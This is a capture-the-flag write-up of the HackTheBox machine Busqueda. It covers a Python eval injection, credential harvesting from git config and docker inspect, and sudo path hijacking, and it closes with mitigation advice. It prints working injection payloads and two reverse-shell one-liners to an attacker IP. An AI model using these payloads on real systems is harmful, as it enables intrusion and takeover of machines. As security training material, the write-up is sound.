Post

HackTheBox - Busqueda


Description

Hello hackers, I hope you are doing well. We are doing Busqueda from HackTheBox.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.129.48.189
Host is up (3.9s latency).
Not shown: 751 closed tcp ports (reset), 247 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found an Apache web server on port 80 with the domain name searcher.htb and OpenSSH on port 22.

Web

Let’s navigate to the web page.

The website is called Searchor and it helps generate search queries for different search engines.

If we scroll to the bottom we can choose the search engine and type what we want to search for.

Let’s search for something and intercept the request with burp.

There are two parameters used: engine and query.

In the response we can see that this is a python application and using Werkzeug as a web server, which means that the Apache we saw earlier acts as a proxy.

Foothold

Since this is a python application, let’s try injecting python code in the parameters.

We managed to get code execution using the following payload:

1
')+__import__('os').system('sleep 5')#

The plus sign has to be url encoded.

Now let’s get a reverse shell:

1
')%2b__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.17.90/9001 0>&1"')#

The special characters(>&) have to be url encoded

Privilege Escalation

svc –> root

Now we run linpeas.

We found the subdomain gitea.searcher.htb which probably is running gitea. Let’s add that to /etc/hosts ang navigate to the web page.

We found two users cody and administrator, but there are no publicly listed repositories.

Trying to search for credentials of Gitea I used grep recursively to search for cody using the following command:

1
2
svc@busqueda:/var/www$ grep -Ri cody ./ 2>/dev/null
./app/.git/config:      url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

With that I managed to find cody’s password. Let’s login

We found searcher’s repository, nothing interesting.

Let’s check our privileges using the cody’s password:

1
2
3
4
5
6
7
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

We can run a python script as root.

1
2
3
4
5
6
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

There couple options we can run with the script, the first is docker-ps:

1
2
3
4
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS             PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   7 months ago   Up About an hour   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   7 months ago   Up About an hour   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

This list the running docker containers.

The second option is docker-inspect

1
2
svc@busqueda:/tmp/sirius$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

We need to add a format and a container name.

Checking the documentation of docker-inspect we find a way to get some useful information:

Let’s get .Config using the following command:

1
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='' mysql_db
1
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

We found two different password, I couldn’t switch to user root by I was able to login as administrator on Gitea using one of the passwords.

This allows us to read the source code of the scripts.

On system-checkup.py we can see that when we choose the option full-checkup the script runs full-checkup.sh that’s on the current directory where we ran the script.

That means we can create a full-checkup.sh script on /tmp for example, run the sudo command with the option full-checkup and our script would get executed.

Let’s create the script and put the following reverse shell in the file:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.17.90 9002 >/tmp/f

Now we give our script execute permissions and setup a listener.

Then we run the sudo command

We have successfully got a root shell.

Prevention and Mitigation

Searchor

The Searchor application was passing user input to eval() which considered very dangerous.

It’s better to avoid using user input in code that is evaluated dynamically, and it it’s not avoidable, a strong user input validation should be in place.

Passwords

We managed to pull plain text passwords from config files which allowed us to further enumerate the machine.

Password should never be stored in plain text, instead they should be hashed using a strong hashing algorithm.

System-check

The system-check.py was assuming that we’ll be executing the script from the scripts directory and that’s why it runs the full-checkup.sh from the current directory.

Commands and scripts should always be called with the full path

Sources

https://www.stackhawk.com/blog/command-injection-python/

https://docs.docker.com/engine/reference/commandline/inspect/

https://github.com/ArjunSharda/Searchor/


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.